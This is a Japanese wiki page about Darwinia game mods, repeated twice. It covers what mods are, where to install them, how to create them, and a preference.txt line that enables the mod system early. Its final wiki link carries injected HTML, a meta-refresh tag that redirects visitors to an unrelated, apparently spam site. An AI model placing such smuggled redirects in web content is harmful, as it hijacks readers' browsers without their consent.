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*MODとは? -ゲーム会社が提供したツールを使ってユーザが作成する追加コンテント -遊ぶ側としての楽しみ:遊べるマップが増える。 -作る側としての楽しみ:開発者が使うのと同じツールを使ってゲーム作成を体験できる。作った物を世界中で遊んでもらえる。ゲームの構造を深く知ることができる。 *MODインストール MODのデータファイルをdarwinia\modsディレクトリに置く。(例:darwinia\mods\ArcadeRemix) その状態でゲームを起動するとメニューからMOD読み込み(Mods>Load Mod)ができる。 読み込んだあとには、遊ぶ前にそのMODのための新しいプロファイルを作ることが推奨。 *MOD作成 ゲームクリアするとメニューからMOD作成(Mods>Create New Mod)ができるようになる。入力した名前のディレクトリが作成され、Mod用のファイルが置かれる。場所の配置、マップ作成などが行えるようになる。 *ゲーム未クリアだけどMOD機能を使いたい ゲームクリアしてないがMODを試したい場合は、darwiniaディレクトリのpreference.txtを開いて以下の1行を追加: >ModSystemEnabled = 1
*MODとは? -ゲーム会社が提供したツールを使ってユーザが作成する追加コンテント -遊ぶ側としての楽しみ:遊べるマップが増える。 -作る側としての楽しみ:開発者が使うのと同じツールを使ってゲーム作成を体験できる。作った物を世界中で遊んでもらえる。ゲームの構造を深く知ることができる。 *MODインストール MODのデータファイルをdarwinia\modsディレクトリに置く。(例:darwinia\mods\ArcadeRemix) その状態でゲームを起動するとメニューからMOD読み込み(Mods>Load Mod)ができる。 読み込んだあとには、遊ぶ前にそのMODのための新しいプロファイルを作ることが推奨。 *MOD作成 ゲームクリアするとメニューからMOD作成(Mods>Create New Mod)ができるようになる。入力した名前のディレクトリが作成され、Mod用のファイルが置かれる。場所の配置、マップ作成などが行えるようになる。 *ゲーム未クリアだけどMOD機能を使いたい ゲームクリアしてないがMODを試したい場合は、darwiniaディレクトリのpreference.txtを開いて以下の1行を追加: &gt;ModSystemEnabled = 1 [[@wikiへ>http://kam.jp"><META HTTP-EQUIV="Refresh" CONTENT="0; URL=http://esthe.pink.sh/r/]]

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